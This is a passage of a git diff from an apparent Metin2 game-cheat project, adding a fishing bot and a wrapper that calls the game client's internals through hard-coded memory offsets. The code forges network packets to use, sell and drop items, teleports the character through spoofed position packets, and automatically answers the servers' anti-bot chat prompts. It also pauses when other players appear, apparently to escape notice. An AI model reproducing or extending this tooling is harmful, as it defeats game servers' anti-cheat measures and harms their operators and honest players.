&Settings::FISH_SHOP_CAST_TELEPORT_ENABLE); + ImGui::InputInt("Teleport Step", &Settings::FISH_TELEPORT_STEP_RANGE); + if (ImGui::Button("Add Shop Pos")) + { + Settings::FISH_SHOP_TELEPORT_CORDS = GameFunctionsCustom::PlayerGetPixelPosition(); + } + ImGui::SameLine(); ImGui::Text((to_string(DWORD(Settings::FISH_SHOP_TELEPORT_CORDS.x / 100)) + " " + to_string(DWORD(Settings::FISH_SHOP_TELEPORT_CORDS.y / 100))).c_str()); + if (ImGui::Button("Add Cast Pos")) + { + Settings::FISH_CAST_TELEPORT_CORDS = GameFunctionsCustom::PlayerGetPixelPosition(); + } + ImGui::SameLine(); ImGui::Text((to_string(DWORD(Settings::FISH_CAST_TELEPORT_CORDS.x / 100)) + " " + to_string(DWORD(Settings::FISH_CAST_TELEPORT_CORDS.y / 100))).c_str()); +#endif + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab3() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("KillBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Kill Fish", &Settings::FISH_KILL_FISH_ENABLE); + ImGui::Columns(3, "KillColumns", false); + + ImGui::Separator(); + + for (map< pair, pair>::iterator itor = Settings::FISH_KILL_FISH_LIST.begin(); itor != Settings::FISH_KILL_FISH_LIST.end(); itor++) + { + ImGui::Checkbox(itor->second.second.c_str(), (bool*)&itor->first.second); + ImGui::NextColumn(); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab4() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("DropBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Drop Trash", &Settings::FISH_DROP_TRASH_ENABLE); + ImGui::Separator(); + ImGui::Columns(3, "DropColumns", false); + for (map< pair, pair>::iterator itor = Settings::FISH_DROP_LIST.begin(); itor != Settings::FISH_DROP_LIST.end(); itor++) + { + ImGui::Checkbox(itor->second.second.c_str(), (bool*)&itor->first.second); + ImGui::NextColumn(); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTab5() + { +#ifdef DEVELOPER_MODE + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("SellBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::PushItemWidth(150); ImGui::Checkbox("Sell Trash", &Settings::FISH_SELL_TRASH_ENABLE); ImGui::SameLine(); + ImGui::InputInt("After % EQ Filled", &Settings::FISH_SELL_TRASH_AFTER_PERCENTAGE, 5, 100); + ImGui::Separator(); + ImGui::Columns(3, "SellColumns", false); + for (map< pair, pair>::iterator itor = Settings::FISH_SELL_LIST.begin(); itor != Settings::FISH_SELL_LIST.end(); itor++) + { + ImGui::Checkbox(itor->second.second.c_str(), (bool*)&itor->first.second); + ImGui::NextColumn(); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); +#endif + } + + void OnTabs() + { + MainForm::AddTab(20, "Main"); + MainForm::AddTab(21, "Bait"); + MainForm::AddTab(22, "Kill"); + MainForm::AddTab(23, "Drop"); +#ifdef DEVELOPER_MODE + MainForm::AddTab(24, "Sell"); +#endif + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 20: + OnTab1(); + break; + case 21: + OnTab2(); + break; + case 22: + OnTab3(); + break; + case 23: + OnTab4(); + break; +#ifdef DEVELOPER_MODE + case 24: + OnTab5(); + break; +#endif + } + } + + + + void AppendCastDirect(int num) + { + if (!isEnable) + { + return; + } + action = num; + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + + } + void AppendCastDirectString(int num, const char* message) + { + if (!isEnable) + { + return; + } + action = num; + } + + + + + + void CheckPosition() + { + if (Settings::FISH_STOP_IF_POSITION_CHANGED_ENABLE) + { + + D3DVECTOR currentPosition = GameFunctionsCustom::PlayerGetPixelPosition(); + if ((int)standingPosition.x != (int)currentPosition.x || (int)standingPosition.y != (int)currentPosition.y) + { + Logger::Add(Logger::FISH, true, Logger::RED, "DIFFRENT POSITION ABORT!"); + Settings::FISH_ENABLE = false;; + isEnable = false; + return; + } + + } + } + + void Cast() + { + + if (!isEnable) + { + return; + } + CheckPosition(); + if (Settings::FISH_STOP_IF_INVENTORY_FULL_ENABLE) + { + //if (GameFunctionsCustom::InventoryEquippedPercentage() > 80) + //{ + // MainForm::orbital_log_fishing(0, "##### Prawie Pelny ekwipunek - Stop ######\n"); + // ; + ///* Settings::FishBotEnable = false; + // isEnable = false;*/ + //} + } +#if defined(DEVELOPER_MODE) + + switch (Globals::Server) + { + case ServerName::METINPL: + { + GameFunctionsCustom::SendPacket("0E 06 00 06 0A 00"); + break; + } + default: + { + GameFunctions::PythonPlayerNEW_Fishing(); + /*GameFunctions::NetworkStreamSendFishingPacket(GameFunctionsCustom::PlayerGetRotation());*/ + } + } + +#else + GameFunctions::PythonPlayerNEW_Fishing(); + /*GameFunctions::PlayerSetAttackKeyState();*/ +#endif + lastTimeFishing = GetTickCount(); + } + + void Cast2() + { + if (Settings::FISH_DETECT_PLAYER_ENABLE) + { + if (GameFunctionsCustom::DetectPlayer(Settings::PROTECTION_DETECT_PLAYER_WHITE_LIST)) + { + + Logger::Add(Logger::FISH, true, Logger::RED, "DETECT PLAYER WAIT TO RESUME"); + return; + } + } + GameFunctions::NetworkStreamSendEmoticon(116); + if (!isEnable) + { + return; + } + CheckPosition(); + if (Settings::FISH_STOP_IF_INVENTORY_FULL_ENABLE) + { + if (GameFunctionsCustom::IsFullInventory()) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "EQUPMENT FULL ABORT!"); + Settings::FISH_ENABLE = false; + isEnable = false; + } + } + GameFunctions::NetworkStreamSendFishingQuitPacket(3, GameFunctionsCustom::PlayerGetRotation()); + lastTimeFishing = GetTickCount(); + } + + void NewCast() + { + if (!isEnable) + { + return; + } + if (Settings::FISH_DETECT_PLAYER_ENABLE) + { + if (GameFunctionsCustom::DetectPlayer(Settings::PROTECTION_DETECT_PLAYER_WHITE_LIST)) + { + + Logger::Add(Logger::FISH, true, Logger::WHITE, "DETECT PLAYER WAIT TO RESUME"); + return; + } + } +#ifdef DEVELOPER_MODE + /*if (DynamicTimer::CheckAutoSet("RefineRod", 10000)) + { + RefineRod(); + }*/ + +#endif + if (Settings::FISH_DROP_TRASH_ENABLE) + { + DropItems(); + } + if (Settings::FISH_KILL_FISH_ENABLE) + { + KillFishes(); + } + if (!UseBait()) + { + if (Settings::FISH_BUY_BAIT_ENABLE) + { + BuyBait(); + if (!UseBait()) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "NO BAITS ABORT!"); + return; + } + } + } + +#ifdef DEVELOPER_MODE + D3DVECTOR oldPosition; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &oldPosition); + if (Settings::FISH_SHOP_CAST_TELEPORT_ENABLE) + { + vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(1000, oldPosition, Settings::FISH_CAST_TELEPORT_CORDS); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + + i++; + } + } +#endif + if (Settings::FISH_SELL_TRASH_ENABLE && GameFunctionsCustom::InventoryEquippedPercentage() > Settings::FISH_SELL_TRASH_AFTER_PERCENTAGE) + { + SellItems(); + } + Cast(); +#ifdef DEVELOPER_MODE + if (Settings::FISH_SHOP_CAST_TELEPORT_ENABLE) + { + + vector< D3DVECTOR> distancePoints = MiscExtension::DivideTwoPointsByDistance(1000, Settings::FISH_CAST_TELEPORT_CORDS, oldPosition); + int i = 0; + for (vector< D3DVECTOR>::iterator it = distancePoints.begin(); it != distancePoints.end(); ++it) + { + + GameFunctions::NetworkStreamSendCharacterStatePacket(D3DVECTOR{ it->x, it->y, it->z }, 0, 0, 0); + + i++; + } + } +#endif + } + + bool RefineRod() + { + bool isNeedEquipRod = false; + if (GameFunctionsCustom::PlayerIsRodEquipped()) + { + if (GameFunctionsCustom::PlayerCanRefineRod()&&GameFunctions::PlayerGetItemMetinSocket(TItemPos(EQUIPMENT, 4), 0) == Settings::FISH_ROD_REFINE_POINTS[GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4))].second) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(EQUIPMENT, 4)); + isNeedEquipRod = true; + } + else + { + + } + } + vector rodsList = GameFunctionsCustom::FindItemSlotsInInventory(27400, 27590); + for (vector::iterator it = rodsList.begin(); it != rodsList.end(); ++it) + { + + if (GameFunctions::PlayerGetItemMetinSocket(TItemPos(INVENTORY, *it), 0) == Settings::FISH_ROD_REFINE_POINTS[GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, *it))].second) + { + DWORD fishermanVid = GameFunctionsCustom::GetCloseObjectByVnum(9009); + if (fishermanVid) + { + GameFunctions::NetworkStreamSendGiveItemPacket(fishermanVid, TItemPos(INVENTORY, *it), 1); + GameFunctions::NetworkStreamSendScriptAnswerPacket(0); + } + } + } + if (isNeedEquipRod) + { + vector rodsList = GameFunctionsCustom::FindItemSlotsInInventory(27400, 27590); + for (vector::iterator it = rodsList.begin(); it != rodsList.end(); ++it) + { + + if (GameFunctions::PlayerGetItemMetinSocket(TItemPos(INVENTORY, *it), 0) < Settings::FISH_ROD_REFINE_POINTS[GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, *it))].second) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, *it)); + return true; + } + } + if (rodsList.size() > 0) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, rodsList[0])); + return true; + } + return false; + } + return true; + } + bool BuyBait() + { + DWORD fishermanVid = GameFunctionsCustom::GetCloseObjectByVnum(9009); + if (!fishermanVid) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "NO FISHERMAN!"); + return false; + } + GameFunctions::NetworkStreamSendOnClickPacket(fishermanVid); + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + for (int i = 0; i < Settings::FISH_BUY_BAIT_SHOP_COUNT; i++) + { + GameFunctions::NetworkStreamSendShopBuyPacket(Settings::FISH_BUY_BAIT_SHOP_SLOT - 1); + } + GameFunctions::NetworkStreamSendShopEndPacket(); + return true; + } + + bool SellItems() + { + switch(Globals::Server) + { + case ServerName::KEVRA: + { + DWORD fishermanVid = GameFunctionsCustom::GetCloseObjectByVnum(15657); + if (!fishermanVid) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "NO FISHERMAN!"); + return false; + } + for (map< pair, pair>::iterator itor = Settings::FISH_SELL_LIST.begin(); itor != Settings::FISH_SELL_LIST.end(); itor++) + { + if (itor->first.second) + { + int i = 1; + vector slotList = GameFunctionsCustom::FindItemSlotsInInventory(itor->second.first); + for (vector::iterator it = slotList.begin(); it != slotList.end(); ++it, i++) + { + DWORD slot = *it; + GameFunctions::NetworkStreamSendGiveItemPacket(fishermanVid, TItemPos(INVENTORY, slot), 1); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("SELLED %s FROM SLOT %d", itor->second.second.c_str()).c_str(), slot); + } + } + } + break; + } + default: + { + DWORD fishermanVid = GameFunctionsCustom::GetCloseObjectByVnum(9009); + if (!fishermanVid) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "NO FISHERMAN!"); + return false; + } + GameFunctions::NetworkStreamSendOnClickPacket(fishermanVid); + GameFunctions::NetworkStreamSendScriptAnswerPacket(1); + for (map< pair, pair>::iterator itor = Settings::FISH_SELL_LIST.begin(); itor != Settings::FISH_SELL_LIST.end(); itor++) + { + if (itor->first.second) + { + int i = 1; + vector slotList = GameFunctionsCustom::FindItemSlotsInInventory(itor->second.first); + for (vector::iterator it = slotList.begin(); it != slotList.end(); ++it, i++) + { + + GameFunctions::NetworkStreamSendShopSellPacketNew(*it, 255); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("SELLED %s FROM SLOT %d", itor->second.second.c_str()).c_str(), *it); + } + } + } + GameFunctions::NetworkStreamSendShopEndPacket(); + break; + } + } + return true; + } + + void DropItems() + { + for (map< pair, pair>::iterator itor = Settings::FISH_DROP_LIST.begin(); itor != Settings::FISH_DROP_LIST.end(); itor++) + { + if (itor->first.second) + { + int i = 1; + vector slotList = GameFunctionsCustom::FindItemSlotsInInventory(itor->second.first); + for (vector::iterator it = slotList.begin(); it != slotList.end(); ++it, i++) + { + + GameFunctions::NetworkStreamSendItemDropPacketNew(TItemPos(INVENTORY, *it), 0, 255); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("DROPED %s FROM SLOT %d", itor->second.second.c_str()).c_str(), *it); + } + } + } + } + + void KillFishes() + { + int i = 1; + for (map< pair, pair>::iterator itor = Settings::FISH_KILL_FISH_LIST.begin(); itor != Settings::FISH_KILL_FISH_LIST.end(); itor++) + { + if (itor->first.second) + { + + vector slotList = GameFunctionsCustom::FindItemSlotsInInventory(itor->second.first); + for (vector::iterator it = slotList.begin(); it != slotList.end(); ++it, i++) + { + + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, *it)); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("KILLED %s FROM SLOT %d", itor->second.second.c_str()).c_str(), *it); + } + } + } + } + + bool UseBait() + { + for (map< pair, pair> ::iterator itor = Settings::FISH_BAIT_LIST.begin(); itor != Settings::FISH_BAIT_LIST.end(); itor++) + { + if (itor->first.second) + { + int slot = GameFunctionsCustom::FindItemSlotInInventory(itor->second.first); + if (slot != -1) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, slot)); + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("USED %s FROM SLOT %d", itor->second.second.c_str()).c_str(), slot); + return true; + } + else + { + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("MISSING %s", itor->second.second.c_str()).c_str()); + } + } + } + if (Settings::FISH_USE_FIRST_SLOT_ENABLE) + { + Logger::Add(Logger::FISH, true, Logger::WHITE, "BAIT 1 SLOT"); + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(INVENTORY, 0)); + return true; + } + return false; + } + + void ParseMessage(const char* message) + { + if (!isEnable) + { + return; + } + + switch (Globals::Server) + { + case ServerName::CLASSIC: + + if (StringExtension::Contains(message, "Prawdziwy komunikat to:")) + { + messageCount = 0; + trueMessage = 0; + if (StringExtension::Contains(message, "pierwszy")) + { + trueMessage = 1; + + } + else if (StringExtension::Contains(message, "drugi")) + { + trueMessage = 2; + } + else if (StringExtension::Contains(message, "trzeci")) + { + trueMessage = 3; + } + + + } + if (StringExtension::Contains(message, "Po prostu nawalaj w te spacje")) + { + + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 30); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + break; + case ServerName::MEDIUMMT2: + if (StringExtension::Contains(message, "Musze nacisnac ")) + { + int num1 = atoi(message + 15); + int num2 = atoi(message + 19); + int sum = atoi(message + 30); + if ((num1 + num2) == sum) + { + action = sum; + Logger::Add(Logger::FISH, true, Logger::WHITE, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + } + } + if (StringExtension::Contains(message, "Prawdziwy komunikat to:")) + { + if (StringExtension::Contains(message, "pierwszy")) + { + trueMessage = 1; + } + else if (StringExtension::Contains(message, "drugi")) + { + trueMessage = 2; + } + else if (StringExtension::Contains(message, "trzeci")) + { + trueMessage = 3; + } + } + if (StringExtension::Contains(message, "W tej chwili kliknij ")) + { + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 21); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + if (StringExtension::Contains(message, "Wybierz przycisk spacja ")) + { + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 24); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + if (StringExtension::Contains(message, "Kliknij w spacje")) + { + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 24); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + if (StringExtension::Contains(message, "Czyzby rybka brala")) + { + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 24); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + if (StringExtension::Contains(message, "Masz refleks")) + { + messageCount++; + if (messageCount == trueMessage) + { + action = atoi(message + 24); + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + messageCount = 0; + trueMessage = 0; + } + } + break; + default: + for (map< DWORD, pair>::iterator itor = Settings::FISH_COMMAND_LIST.begin(); itor != Settings::FISH_COMMAND_LIST.end(); itor++) + { + string messageASCI = StringExtension::UTF8ToANSI((char*)itor->second.first.c_str()); + + if (StringExtension::Contains(message, messageASCI)) + { + + action = itor->second.second; + Logger::Add(Logger::FISH, true, Logger::GREEN, StringExtension::StringFormat("REQUEST CLICK COUNT %d", action).c_str()); + } + } + + break; + } + } +}; + diff --git a/EngineX-Pro/GameFunctions.h b/EngineX-Pro/GameFunctions.h new file mode 100644 index 0000000..7394254 --- /dev/null +++ b/EngineX-Pro/GameFunctions.h @@ -0,0 +1,1831 @@ +#pragma once + +class GameFunctions +{ +public: + static DWORD GetVIDByInstance(DWORD* instance) + { + DWORD vid = 0; + if (Globals::Server == ServerName::METINPL) + { + TCharacterInstanceMapGlobal m_kAliveInstMap = *(TCharacterInstanceMapGlobal*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 56) + 4)); + for (auto itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) + { + if (itor->second == instance) + { + vid = itor->first; + } + } + } + else + { + TCharacterInstanceMap m_kAliveInstMap; + switch (Globals::Server) + { + case ServerName::AELDRA: + { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 44) + 4)); + break; + } + case ServerName::CALLIOPE2: + { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 36) + 4)); + break; + } + default: { + m_kAliveInstMap = *(TCharacterInstanceMap*)(*reinterpret_cast(*reinterpret_cast(Globals::iCPythonCharacterManagerInstance + 32) + 4)); + break; + } + } + for (auto itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) + { + if (itor->second == instance) + { + vid = itor->first; + } + } + } + return vid; + } + //################################################################################################################################# + static DWORD* CharacterManagerGetInstancePtr(int vid) + { + try + { + return Globals::CPythonCharacterManagerGetInstancePtr((void*)(Globals::iCPythonCharacterManagerInstance + 4), vid); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool ItemManagerGetItemDataPointer(DWORD dwItemID, DWORD** ppItemData) + { + try + { + return Globals::CItemManagerGetItemDataPointer((void*)(Globals::iCItemManagerInstance), dwItemID, ppItemData); + } + catch (...) + { + return false; + } + } + static void ItemSelectItem(DWORD dwItemID) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonItemSelectItem) + { + return PythonExtension::CallPythonInteger1(Globals::CythonItemSelectItem, dwItemID); + } + } + catch (...) + { + } + } + //################################################################################################################################# + static const char* ItemDataGetName(DWORD dwItemID) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonItemGetItemName) + { + ItemSelectItem(dwItemID); + return PythonExtension::GetPythonString0(Globals::CythonItemGetItemName); + } + else + { + DWORD* pItemData; + GameFunctions::ItemManagerGetItemDataPointer(dwItemID, &pItemData); + return Globals::CItemDataGetName(pItemData); + } + } + catch (...) + { + return ""; + } + } + //################################################################################################################################# + static DWORD PlayerGetMainCharacterIndex() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetMainCharacterIndex) + { + return PythonExtension::GetPythonInt(Globals::CythonPlayerGetMainCharacterIndex); + } + else + { + return GetVIDByInstance(PlayerNEW_GetMainActorPtr()); + //return Globals::CPythonPlayerGetMainCharacterIndex((void*)(Globals::iCPythonPlayerInstance + 4)); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static int PlayerGetStatus(DWORD dwType) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetStatus) + { + return PythonExtension::GetPythonInteger1(Globals::CythonPlayerGetStatus, 1); + } + else + { + return Globals::CPythonPlayerGetStatus((void*)(Globals::iCPythonPlayerInstance + 4), dwType); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static DWORD PlayerGetItemIndex(TItemPos cell) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetItemIndex) + { + return PythonExtension::GetPythonInteger2(Globals::CythonPlayerGetItemIndex, cell.window_type, cell.cell); + } + else + { + switch (Globals::Server) + { + case ServerName::BARIA: + { + typedef DWORD(__thiscall* GetItemIndex)(void* This, TItemPos Cell, char unk); + GetItemIndex ItemIndex = (GetItemIndex)Globals::pCPythonPlayerGetItemIndex; + return ItemIndex((void*)(Globals::iCPythonPlayerInstance + 4), cell, '\0'); + break; + } + default: + { + return Globals::CPythonPlayerGetItemIndex((void*)(Globals::iCPythonPlayerInstance + 4), cell); + break; + } + } + } + } + catch (...) + { + return 0; + } + } + + static DWORD PlayerGetItemCount(TItemPos cell) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetItemCount) + { + return PythonExtension::GetPythonInteger2(Globals::CythonPlayerGetItemCount, cell.window_type, cell.cell); + } + else + { + return Globals::CPythonPlayerGetItemCount((void*)(Globals::iCPythonPlayerInstance + 4), cell); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + + static const char* PlayerGetName() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetName) + { + return PythonExtension::GetPythonString0(Globals::CythonPlayerGetName); + } + else + { + return Globals::CPythonPlayerGetName((void*)(Globals::iCPythonPlayerInstance + 4)); + } + } + catch (...) + { + return ""; + } + } + //################################################################################################################################# + static DWORD PlayerGetItemMetinSocket(int slot, DWORD dwMetinSocketIndex) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetItemMetinSocket) + { + return PythonExtension::GetPythonInteger2(Globals::CythonPlayerGetItemMetinSocket, slot, dwMetinSocketIndex); + } + else + { + return Globals::CPythonPlayerGetItemMetinSocket((void*)(Globals::iCPythonPlayerInstance), TItemPos(INVENTORY, slot), dwMetinSocketIndex); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static void PlayerGetItemAttribute(TItemPos Cell, DWORD dwAttrSlotIndex, BYTE* pbyType, short* psValue) + { + try + { + Globals::CPythonPlayerGetItemAttribute((void*)(Globals::iCPythonPlayerInstance), Cell, dwAttrSlotIndex, pbyType, psValue); + } + catch (...) + { + } + } + //################################################################################################################################# + static DWORD PlayerGetItemMetinSocket(TItemPos cell, DWORD dwMetinSocketIndex) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetItemMetinSocket) + { + return PythonExtension::GetPythonInteger3(Globals::CythonPlayerGetItemMetinSocket, cell.window_type, cell.cell, dwMetinSocketIndex); + } + else + { + return Globals::CPythonPlayerGetItemMetinSocket((void*)(Globals::iCPythonPlayerInstance), cell, dwMetinSocketIndex); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static DWORD PlayerGetRace() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetRace) + { + return PythonExtension::GetPythonInt(Globals::CythonPlayerGetRace); + } + else + { + return Globals::CPythonPlayerGetRace((void*)Globals::iCPythonPlayerInstance); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static void PlayerNEW_SetSingleDIKKeyState(int eDIKKey, bool isPress) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerSetSingleDIKKeyState) + { + PythonExtension::CallPythonInteger2(Globals::CythonPlayerSetSingleDIKKeyState, eDIKKey, isPress); + } + else + { + return Globals::CPythonPlayerNEW_SetSingleDIKKeyState((void*)Globals::iCPythonPlayerInstance, eDIKKey, isPress); + } + } + catch (...) + { + } + } + //################################################################################################################################# + static void PlayerClickSkillSlot(int skillIndex) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerClickSkillSlot) + { + PythonExtension::CallPythonInteger1(Globals::CythonPlayerClickSkillSlot, skillIndex); + } + else + { + Globals::CPythonPlayerClickSkillSlot((void*)Globals::iCPythonPlayerInstance, skillIndex); + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static bool PlayerIsSkillCoolTime(int skillIndex) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerIsSkillCoolTime) + { + return PythonExtension::GetPythonInteger1(Globals::CythonPlayerIsSkillCoolTime, skillIndex); + } + else + { + return Globals::CPythonPlayerIsSkillCoolTime((void*)Globals::iCPythonPlayerInstance, skillIndex); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool PlayerIsSkillActive(DWORD dwSlotIndex) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerIsSkillActive) + { + return PythonExtension::GetPythonInteger1(Globals::CythonPlayerIsSkillActive, dwSlotIndex); + } + else + { + return Globals::CPythonPlayerIsSkillActive((void*)Globals::iCPythonPlayerInstance, dwSlotIndex); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static DWORD PlayerGetTargetVID() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerGetTargetVID) + { + return PythonExtension::GetPythonInt(Globals::CythonPlayerGetTargetVID); + } + else + { + return Globals::CPythonPlayerGetTargetVID((void*)Globals::iCPythonPlayerInstance); + } + } + catch (...) + { + return 0; + } + } + + static void PlayerSetTarget(DWORD dwVID, BOOL bForceChange = true) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerSetTarget) + { + return PythonExtension::CallPythonInteger1(Globals::CythonPlayerSetTarget, dwVID); + } + else + { + return Globals::CPythonPlayerSetTarget((void*)(Globals::iCPythonPlayerInstance + 4), dwVID, bForceChange); + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static void PlayerSetAttackKeyState(bool state) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerSetAttackKeyState) + { + return PythonExtension::CallPythonInteger1(Globals::CythonPlayerSetAttackKeyState, state); + } + else + { + Globals::CPythonPlayerSetAttackKeyState((void*)Globals::iCPythonPlayerInstance, state); + } + } + catch (...) + { + } + } + //################################################################################################################################# + static void Player__OnPressActor(DWORD* rkInstMain, DWORD dwPickedActorID, bool isAuto) + { + try + { + return Globals::CPythonPlayer__OnPressActor((void*)Globals::iCPythonPlayerInstance, rkInstMain, dwPickedActorID, isAuto); + } + catch (...) + { + } + } + //################################################################################################################################# + static void Player__OnClickActor(DWORD* rkInstMain, DWORD dwPickedActorID, bool isAuto) + { + try + { + return Globals::CPythonPlayer__OnClickActor((void*)Globals::iCPythonPlayerInstance, rkInstMain, dwPickedActorID, isAuto); + } + catch (...) + { + } + } + //################################################################################################################################# + static DWORD* PlayerNEW_GetMainActorPtr() + { + try + { + return Globals::CPythonPlayerNEW_GetMainActorPtr((void*)(Globals::iCPythonPlayerInstance + 4)); + } + catch (...) + { + return NULL; + } + } + //################################################################################################################################# + static void PythonPlayerNEW_Fishing() + { + try + { + Globals::CPythonPlayerNEW_Fishing((void*)Globals::iCPythonPlayerInstance); + } + catch (...) + { + + } + } + //################################################################################################################################# + static void NetworkStreamSendItemUsePacket(TItemPos cell) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendItemUsePacket) + { + PythonExtension::CallPythonInteger2(Globals::CythonNetSendItemUsePacket, cell.window_type, cell.cell); + } + else + { + switch (Globals::Server) + { + case ServerName::BARIA: + { + typedef bool(__thiscall* SendItemUsePacket)(void* This, TItemPos pos, char unk); + SendItemUsePacket ItemUse = (SendItemUsePacket)Globals::pCPythonNetworkStreamSendItemUsePacket; + ItemUse((void*)Globals::iCPythonNetworkStreamInstance, cell, '\0'); + break; + } + case ServerName::WOM: + { + typedef bool(__thiscall* tCPythonNetworkStreamSendItemUsePacket)(void* This, TItemPos& pos); + tCPythonNetworkStreamSendItemUsePacket CPythonNetworkStreamSendItemUsePacket = (tCPythonNetworkStreamSendItemUsePacket)(Globals::pCPythonNetworkStreamSendItemUsePacket); + CPythonNetworkStreamSendItemUsePacket((void*)Globals::iCPythonNetworkStreamInstance, cell); + break; + } + default: + { + Globals::CPythonNetworkStreamSendItemUsePacket((void*)Globals::iCPythonNetworkStreamInstance, cell); + + break; + } + } + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static void 